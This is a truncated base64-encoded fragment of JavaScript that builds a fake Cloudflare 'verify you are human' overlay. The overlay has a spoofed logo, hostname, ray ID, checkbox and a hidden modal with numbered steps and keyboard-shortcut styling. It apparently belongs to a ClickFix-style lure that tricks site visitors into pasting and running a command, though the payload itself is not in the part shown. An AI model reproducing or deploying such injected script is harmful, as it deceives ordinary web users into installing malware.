CA9ICdkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKENMT1VERkxBUkVfRlVMTF9MT0dPX1NWRyk7DQogICAgICAgIHZhciBDTE9VREZMQVJFX1dISVRFX0xPR09fQkFTRTY0ID0gJ2RhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsJyArIGJ0b2EoDQogICAgICAgICAgICBDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcucmVwbGFjZSgnLmR7ZmlsbDonICsgKElTX0xJR0hUX01PREUgPyAnIzQwNDA0MScgOiAnI2ZmZicpICsgJ30nLCAnLmR7ZmlsbDojZmZmfScpDQogICAgICAgICk7DQoNCiAgICAgICAgdmFyIERJU1BMQVlfSE9TVE5BTUUgPSBDVVNUT01fRE9NQUlOIHx8ICh3aW5kb3cubG9jYXRpb24gJiYgd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lKSB8fCAnY2xvdWRmbGFyZS5jb20nOw0KICAgICAgICB2YXIgUkFZX1RSQUNLSU5HX0lEID0gJ2Q4ZmMyNmZiM2M4YWU0OWEnOw0KDQogICAgICAgIHZhciBzdHlsZUVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOw0KICAgICAgICBzdHlsZUVsZW1lbnQuaWQgPSAnYnctY2Ytc3R5bGUnOw0KDQogICAgICAgIHN0eWxlRWxlbWVudC50ZXh0Q29udGVudCA9ICcjYnctY2Ytcm9vdHtwb3NpdGlvbjpmaXhlZCAhaW1wb3J0YW50O3RvcDowICFpbXBvcnRhbnQ7bGVmdDowICFpbXBvcnRhbnQ7cmlnaHQ6MCAhaW1wb3J0YW50O2JvdHRvbTowICFpbXBvcnRhbnQ7d2lkdGg6MTAwdncgIWltcG9ydGFudDtoZWlnaHQ6MTAwdmggIWltcG9ydGFudDttaW4td2lkdGg6MTAwdncgIWltcG9ydGFudDttaW4taGVpZ2h0OjEwMHZoICFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUgIWltcG9ydGFudDttYXgtaGVpZ2h0Om5vbmUgIWltcG9ydGFudDttYXJnaW46MCAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O2JveC1zaXppbmc6Ym9yZGVyLWJveCAhaW1wb3J0YW50O3RyYW5zZm9ybTpub25lICFpbXBvcnRhbnQ7ei1pbmRleDoyMTQ3NDgzNjQ3ICFpbXBvcnRhbnQ7YmFja2dyb3VuZDojMjIyO2NvbG9yOiNkOWQ5ZDk7b3ZlcmZsb3c6YXV0bztmb250LWZhbWlseTpzeXN0ZW0tdWksLWFwcGxlLXN5c3RlbSwiU2Vnb2UgVUkiLFJvYm90byxBcmlhbCxzYW5zLXNlcmlmICFpbXBvcnRhbnQ7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O2ZvbnQtc2l6ZToxNnB4ICFpbXBvcnRhbnQ7bGluZS1oZWlnaHQ6MS41O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O3VuaWNvZGUtYmlkaTppc29sYXRlICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290ICp7Ym94LXNpemluZzpib3JkZXItYm94ICFpbXBvcnRhbnQ7bWFyZ2luOjA7cGFkZGluZzowO30nKycjYnctY2Ytcm9vdCAubWFpbi1jb250ZW50e21hcmdpbjo4ZW0gYXV0bztwYWRkaW5nOjAgMS41ZW07bWF4LXdpZHRoOjYwZW07d2lkdGg6MTAwJTt9JysnI2J3LWNmLXJvb3QgLmgxe2xpbmUtaGVpZ2h0OjEuNDtmb250LXNpemU6Mi41ZW07Zm9udC13ZWlnaHQ6NTAwO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjAuNzVlbTtjb2xvcjojZmZmO30nKycjYnctY2Ytcm9vdCAuaDJ7bGluZS1oZWlnaHQ6MS41O2ZvbnQtc2l6ZToxLjVlbTtmb250LXdlaWdodDo0MDA7Y29sb3I6I2QxZDFkMTttYXJnaW4tdG9wOjAuM2VtO30nKycjYnctY2Ytcm9vdCAuaGVhZGluZy1mYXZpY29ue2hlaWdodDoxZW07d2lkdGg6YXV0bzt9JysnI2J3LWNmLXJvb3QgLmNvcmUtbXNne2xpbmUtaGVpZ2h0OjEuNjtmb250LXNpemU6MS41ZW07Zm9udC13ZWlnaHQ6NDAwO2NvbG9yOiNkMWQxZDE7bWFyZ2luLXRvcDoyLjVlbTt9JysnI2J3LWNmLXJvb3QgLndpZGdldC1zcGFjZXJ7bWFyZ2luOjIuNWVtIDA7fScrJyNidy1jZi1yb290IC5jaGVja2JveC13aW5kb3d7Ym94LXNpemluZzpib3JkZXItYm94O2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47YWxpZ24taXRlbXM6c3RyZXRjaDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2JvcmRlcjoxcHggc29saWQgIzc5Nzk3OTtiYWNrZ3JvdW5kLWNvbG9yOiMyMzIzMjM7aGVpZ2h0Ojc4cHg7dXNlci1zZWxlY3Q6bm9uZTtwYWRkaW5nOjAgMTZweDt3aWR0aDoxMDAlO21heC13aWR0aDozMjBweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1yb3d7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjt3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NzhweDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjtnYXA6N3B4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LWNvbnRhaW5lcnt3aWR0aDozMHB4O2ZsZXg6MCAwIDMwcHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3Bvc2l0aW9uOnJlbGF0aXZlO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3h7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXItcmFkaXVzOjNweDtib3JkZXI6MnB4IHNvbGlkICNkYWRhZGE7YmFja2dyb3VuZDojMjMyMzIzO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6YmxvY2s7b3V0bGluZTpub25lO3BhZGRpbmc6MDstd2Via2l0LWFwcGVhcmFuY2U6bm9uZTthcHBlYXJhbmNlOm5vbmU7dHJhbnNpdGlvbjpib3JkZXItY29sb3IgLjJzO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3g6aG92ZXJ7Ym9yZGVyLWNvbG9yOiNmYmFkNDE7fScrJyNidy1jZi1yb290IC50ZXR0eHtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO21pbi1oZWlnaHQ6MzBweDtmbGV4OjE7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAudGV0dHggcHttYXJnaW46MCAhaW1wb3J0YW50O2xpbmUtaGVpZ2h0OjE7Zm9udC1zaXplOjE0cHg7Y29sb3I6I2ZmZjtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1yb3c+ZGl2Omxhc3QtY2hpbGR7ZGlzcGxheTppbmxpbmUtZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47dGV4dC1hbGlnbjpyaWdodDthbGlnbi1pdGVtczpmbGV4LWVuZDtmbGV4LXNocmluazowO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIGltZ3t3aWR0aDo5MHB4O21hcmdpbi1ib3R0b206NHB4O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIHB7bGluZS1oZWlnaHQ6MS40O2NvbG9yOiNiYmI7Zm9udC1zaXplOjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO21hcmdpbjowICFpbXBvcnRhbnQ7d2hpdGUtc3BhY2U6bm93cmFwO30nKycjYnctY2Ytcm9vdCAuc3Bpbm5lci13cmFwe2Rpc3BsYXk6bm9uZTt3aWR0aDozMnB4O2hlaWdodDozMnB4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO30nKycjYnctY2Ytcm9vdCAuY2std3JhcHtkaXNwbGF5Om5vbmU7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt9JysnI2J3LWNmLXJvb3QgLmZvb3Rlcntwb3NpdGlvbjpmaXhlZDtib3R0b206MDtsZWZ0OjA7cmlnaHQ6MDtwYWRkaW5nOjFlbSAxLjVlbTt9JysnI2J3LWNmLXJvb3QgLmZvb3Rlci1pbm5lcntib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MWVtIDA7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOi43NWVtO30nKycjYnctY2Ytcm9vdCAucmN7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvd3twb3NpdGlvbjpmaXhlZCAhaW1wb3J0YW50O3RvcDowICFpbXBvcnRhbnQ7bGVmdDowICFpbXBvcnRhbnQ7d2lkdGg6MTAwJSAhaW1wb3J0YW50O2hlaWdodDoxMDAlICFpbXBvcnRhbnQ7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC43KTtkaXNwbGF5Om5vbmU7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7ei1pbmRleDoyMTQ3NDgzNjQ4ICFpbXBvcnRhbnQ7b3BhY2l0eTowO3RyYW5zaXRpb246b3BhY2l0eSAuM3MsdmlzaWJpbGl0eSAuM3M7fScrJyNidy1jZi1yb290IC52ZXJpZnktd2luZG93LmFjdGl2ZXtkaXNwbGF5OmZsZXg7b3BhY2l0eToxO30nKycjYnctY2Ytcm9vdCAubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kOiMyYjJiMmI7Ym9yZGVyLXJhZGl1czo4cHg7bWF4LXdpZHRoOjQyMHB4O3dpZHRoOjkwJTtvdmVyZmxvdzpoaWRkZW47dHJhbnNmb3JtOnNjYWxlKC45NSk7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgLm1vZGFsLWNvbnRlbnR7dHJhbnNmb3JtOnNjYWxlKDEpO30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVye2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLCNmMzgwMjAsI2U5YTMzZik7cGFkZGluZzoxcmVtIDEuNXJlbTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlciBoMntmb250LXNpemU6MWVtO21hcmdpbjowICFpbXBvcnRhbnQ7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo2MDA7fScrJyNidy1jZi1yb290IC5tb2RhbC1oZWFkZXIgcHtmb250LXNpemU6Ljc1ZW07bWFyZ2luOi4xZW0gMCAwICFpbXBvcnRhbnQ7Y29sb3I6I2ZmZjtvcGFjaXR5Oi45O30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVyIGltZ3toZWlnaHQ6NDBweDt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWJvZHl7cGFkZGluZzoxLjI1ZW07ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuaW5zdHJ1Y3Rpb24tbGlzdHtsaXN0LXN0eWxlOm5vbmU7cGFkZGluZzowICFpbXBvcnRhbnQ7bWFyZ2luOjAgMCAxLjI1ZW0gIWltcG9ydGFudDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2dhcDowLjg1ZW07fScrJyNidy1jZi1yb290IC5pbnN0cnVjdGlvbi1saXN0IGxpe2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Z2FwOjFlbTtwYWRkaW5nOjFlbSAxLjFlbSAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7YmFja2dyb3VuZDpyZ2JhKDI1NSwyNTUsMjU1LC4wNyk7Ym9yZGVyLWxlZnQ6MnB4IHNvbGlkICNmMzgwMjA7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuc3RlcC1sZWZ0e2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOi43NWVtO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtYmFkZ2V7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3dpZHRoOjIycHg7aGVpZ2h0OjIycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCNmMzgwMjAsI2U5YTMzZik7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo3MDA7Zm9udC1zaXplOjExcHg7Ym9yZGVyLXJhZGl1czo1MCU7ZmxleDowIDAgYXV0bzt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dHtjb2xvcjojZmZmO2ZvbnQtc2l6ZToxM3B4O30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjIpO2NvbG9yOiNmNTkwNDA7cGFkZGluZzoycHggOHB4O2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnQ7Zm9udC13ZWlnaHQ6NzAwO2ZvbnQtc2l6ZToxMS41cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW46MCAycHg7Ym94LXNoYWRvdzpub25lO3RyYW5zaXRpb246YmFja2dyb3VuZCAuMTVzLGNvbG9yIC4xNXMsdHJhbnNmb3JtIC4xMnM7d2hpdGUtc3BhY2U6bm93cmFwO30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGIua2xpdHtiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuNDUpO2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtjb2xvcjojZmZiODcwO2JveC1zaGFkb3c6bm9uZTt0cmFuc2Zvcm06c2NhbGUoMC45NSk7fScrJyNidy1jZi1yb290IC5zdGVwLXRleHQgYntwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp2aXNpYmxlO30nKycjYnctY2Ytcm9vdCAud2staGludHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTdweDtyaWdodDotOXB4O3dpZHRoOjE0cHg7aGVpZ2h0OjE0cHg7YmFja2dyb3VuZDpyZ2JhKDgzLDE1NSwyNDUsLjg1KTtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NTAlO2ZvbnQtc2l6ZTo4LjVweDtjdXJzb3I6aGVscDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Zm9udC13ZWlnaHQ6ODAwO2ZvbnQtZmFtaWx5OnN5c3RlbS11aSxzYW5zLXNlcmlmO2xpbmUtaGVpZ2h0OjE7ei1pbmRleDozO2JvcmRlcjoxcHggc29saWQgcmdiYSg4MywxNTUsMjQ1LC40KTtsZXR0ZXItc3BhY2luZzowO30nKycjYnctY2Ytcm9vdCAud2stdG9vbHRpcHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7dG9wOmNhbGMoMTAwJSArIDZweCk7bGVmdDowO2JhY2tncm91bmQ6IzEzMWMzNTtjb2xvcjojYzhkNmY4O2JvcmRlcjoxcHggc29saWQgcmdiYSg5MCwxMzcsMjI2LC4zNSk7Ym9yZGVyLXJhZGl1czo3cHg7cGFkZGluZzo4cHggMTFweDtmb250LXNpemU6MTEuNXB4O3doaXRlLXNwYWNlOm5vcm1hbDt3aWR0aDoyMThweDt6LWluZGV4OjIwO3BvaW50ZXItZXZlbnRzOm5vbmU7Zm9udC1mYW1pbHk6c3lzdGVtLXVpLHNhbnMtc2VyaWY7Zm9udC13ZWlnaHQ6NDAwO2JveC1zaGFkb3c6MCA2cHggMThweCByZ2JhKDAsMCwwLC41KTtsaW5lLWhlaWdodDoxLjQ1O2ZvbnQtc3R5bGU6bm9ybWFsO2xldHRlci1zcGFjaW5nOjA7fScrJyNidy1jZi1yb290IC53ay1oaW50OmhvdmVyIC53ay10b29sdGlwe2Rpc3BsYXk6YmxvY2s7fScrJyNidy1jZi1yb290IC5rZXktY29tYm97ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6NHB4O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMik7cGFkZGluZzozcHggNnB4O2JvcmRlci1yYWRpdXM6NHB4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3Qga2Jke2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7bWluLXdpZHRoOjI2cHg7aGVpZ2h0OjI2cHg7cGFkZGluZzowIDVweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxNDVkZWcsIzJkMmQyZCwjMWExYTFhKTtib3JkZXI6MXB4IHNvbGlkICM0NDQ7Ym9yZGVyLXJhZGl1czo0cHg7Ym94LXNoYWRvdzowIDFweCAwICMwYTBhMGE7Y29sb3I6I2ZmZjtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjExcHg7Zm9udC13ZWlnaHQ6NjAwO3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLmtleS1jb21ibyAucGx1c3tjb2xvcjojODg4O2ZvbnQtc2l6ZToxMnB4O30nKycjYnctY2Ytcm9vdCAua2V5LWNvbWJvIC5oaW50e2NvbG9yOiNmMzgwMjA7Zm9udC1zaXplOjE0cHg7bWFyZ2luLWxlZnQ6MnB4O30nKydAbWVkaWEocHJlZmVycy1jb2xvci1zY2hlbWU6bGlnaHQpeyNidy1jZi1yb290e2JhY2tncm91bmQ6I2ZmZiAhaW1wb3J0YW50O2NvbG9yOiMxMTE7fSNidy1jZi1yb290IC5oMXtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuY29yZS1tc2d7Y29sb3I6IzQ0NDt9I2J3LWNmLXJvb3QgLmZvb3Rlci1pbm5lcntib3JkZXItdG9wLWNvbG9yOiNkZGQ7Y29sb3I6Izc3Nzt9I2J3LWNmLXJvb3QgLmNoZWNrYm94LXdpbmRvd3tib3JkZXItY29sb3I6I2QxZDFkMTtiYWNrZ3JvdW5kLWNvbG9yOiNmOWY5Zjk7fSNidy1jZi1yb290IC5jaGVja2JveHtib3JkZXItY29sb3I6I2FhYTtiYWNrZ3JvdW5kOiNlZWU7fSNidy1jZi1yb290IC50ZXR0eCBwe2NvbG9yOiMxMTE7fSNidy1jZi1yb290IC5jaGVja2JveC1yb3c+ZGl2Omxhc3QtY2hpbGQgcHtjb2xvcjojNTU1O30jYnctY2Ytcm9vdCAubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kOiNmZmY7fSNidy1jZi1yb290IC5zdGVwLXRleHR7Y29sb3I6IzIyMjt9I2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBie2JhY2tncm91bmQ6cmdiYSgyNDMsMTI4LDMyLC4xNSk7Y29sb3I6I2IwNTUwMDtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzpub25lO30jYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGIua2xpdHtiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuMzIpO2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtjb2xvcjojOTA0MDAwO2JveC1zaGFkb3c6bm9uZTt9I2J3LWNmLXJvb3QgLmluc3RydWN0aW9uLWxpc3QgbGl7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC4wNCk7fSNidy1jZi1yb290IC53ay1oaW50e2JhY2tncm91bmQ6cmdiYSgzMCw3NCwxODQsLjgpO2JvcmRlci1jb2xvcjpyZ2JhKDMwLDc0LDE4NCwuNCk7fSNidy1jZi1yb290IC53ay10b29sdGlwe2JhY2tncm91bmQ6I2VlZjJmZjtjb2xvcjojMWUzYThhO2JvcmRlci1jb2xvcjpyZ2JhKDYxLDEwNywxOTEsLjM1KTtib3gtc2hhZG93OjAgNHB4IDEycHggcmdiYSgwLDAsMCwuMSk7fX0nKycjYnctY2Ytcm9vdCAudGVybS1jaGlwe2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxMzVkZWcsI2YzODAyMCwjZTlhMzNmKTtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NXB4O2ZvbnQtc2l6ZTouOGVtO2ZvbnQtd2VpZ2h0OjcwMDtwYWRkaW5nOjJweCA3cHg7bWFyZ2luLWxlZnQ6NXB4O3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlcntkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmNlbnRlcjtwYWRkaW5nOi43NWVtIDAgMS4yNWVtO30nKycjYnctY2Ytcm9vdCAuY2YtbG9hZGVyIHN2Z3t3aWR0aDo3MnB4O2hlaWdodDphdXRvO21hcmdpbi1ib3R0b206MTBweDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlci1iYXJ7d2lkdGg6MTE2cHg7aGVpZ2h0OjRweDtiYWNrZ3JvdW5kOiNlNWU1ZTU7Ym9yZGVyLXJhZGl1czoycHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi10b3A6NHB4O30nKycjYnctY2Ytcm9vdCAuY2YtbG9hZGVyLWJhci1pbm5lcnt3aWR0aDoyNSU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoOTBkZWcsdHJhbnNwYXJlbnQsI2Y3ODEwMCA0NSUsI2Y3ODEwMCA1NSUsdHJhbnNwYXJlbnQpO2JvcmRlci1yYWRpdXM6MnB4O2FuaW1hdGlvbjpjZkxvYWRCYXIgMS41cyBlYXNlLWluLW91dCBpbmZpbml0ZTt9JysnQGtleWZyYW1lcyBjZkxvYWRCYXJ7MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwMCUpfTUwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCg0MDAlKX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX19JysnQGtleWZyYW1lcyBid0NmU3BpbnswJXt0cmFuc2Zvcm06cm90YXRlKDBkZWcpO30xMDAle3RyYW5zZm9ybTpyb3RhdGUoMzYwZGVnKTt9fScrJ0BrZXlmcmFtZXMgYndDZlB1bHNlezAlLDEwMCV7b3BhY2l0eToxO301MCV7b3BhY2l0eTouNTt9fSc7DQogICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGVFbGVtZW50KTsNCg0KICAgICAgICB2YXIgcm9vdEVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsNCiAgICAgICAgcm9vdEVsZW1lbnQuaWQgPSAnYnctY2Ytcm9vdCc7DQogICAgICAgIHJvb3RFbGVtZW50LnNldEF0dHJpYnV0ZSgnZGlyJywgJ2x0cicpOw0KICAgICAgICByb290RWxlbWVudC5zdHlsZS5jc3NUZXh0ID0gJ3Bvc2l0aW9uOmZpeGVkIWltcG9ydGFudDt0b3A6MCFpbXBvcnRhbnQ7bGVmdDowIWltcG9ydGFudDtyaWdodDowIWltcG9ydGFudDtib3R0b206MCFpbXBvcnRhbnQ7d2lkdGg6MTAwdnchaW1wb3J0YW50O2hlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWluLXdpZHRoOjEwMHZ3IWltcG9ydGFudDttaW4taGVpZ2h0OjEwMHZoIWltcG9ydGFudDttYXgtd2lkdGg6bm9uZSFpbXBvcnRhbnQ7bWF4LWhlaWdodDpub25lIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt6LWluZGV4OjIxNDc0ODM2NDchaW1wb3J0YW50O2JveC1zaXppbmc6Ym9yZGVyLWJveCFpbXBvcnRhbnQ7dHJhbnNmb3JtOm5vbmUhaW1wb3J0YW50Oyc7DQogICAgICAgIHJvb3RFbGVtZW50LmlubmVySFRNTCA9IGANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCI+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoMSI+DQogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIke0NMT1VERkxBUkVfRlVMTF9MT0dPX0JBU0U2NH0iIGNsYXNzPSJoZWFkaW5nLWZhdmljb24iIGFsdD0iQ2xvdWRmbGFyZSI+DQogICAgICAgICAgICAgICAgICAgIDxzcGFuPiR7RElTUExBWV9IT1NUTkFNRX08L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3aWRnZXQtc3BhY2VyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtd2luZG93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LXJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJjaGVja2JveCIgaWQ9ImNmLWNiIiBzdHlsZT0iZGlzcGxheTpub25lIj48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3Bpbm5lci13cmFwIiBpZD0iY2Ytc3AiIHN0eWxlPSJkaXNwbGF5OmZsZXgiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHZpZXdCb3g9IjAgMCAzMCAzMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHN0eWxlPSJhbmltYXRpb246YndDZlNwaW4gMS42cyBsaW5lYXIgaW5maW5pdGU7ZGlzcGxheTpibG9jazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjE1IiBjeT0iNCIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIxIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iMjIuNzgiIGN5PSI3LjIyIiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii44NzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyNiIgY3k9IjE1IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii43NSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjIyLjc4IiBjeT0iMjIuNzgiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjYyNSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjE1IiBjeT0iMjYiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI3LjIyIiBjeT0iMjIuNzgiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjM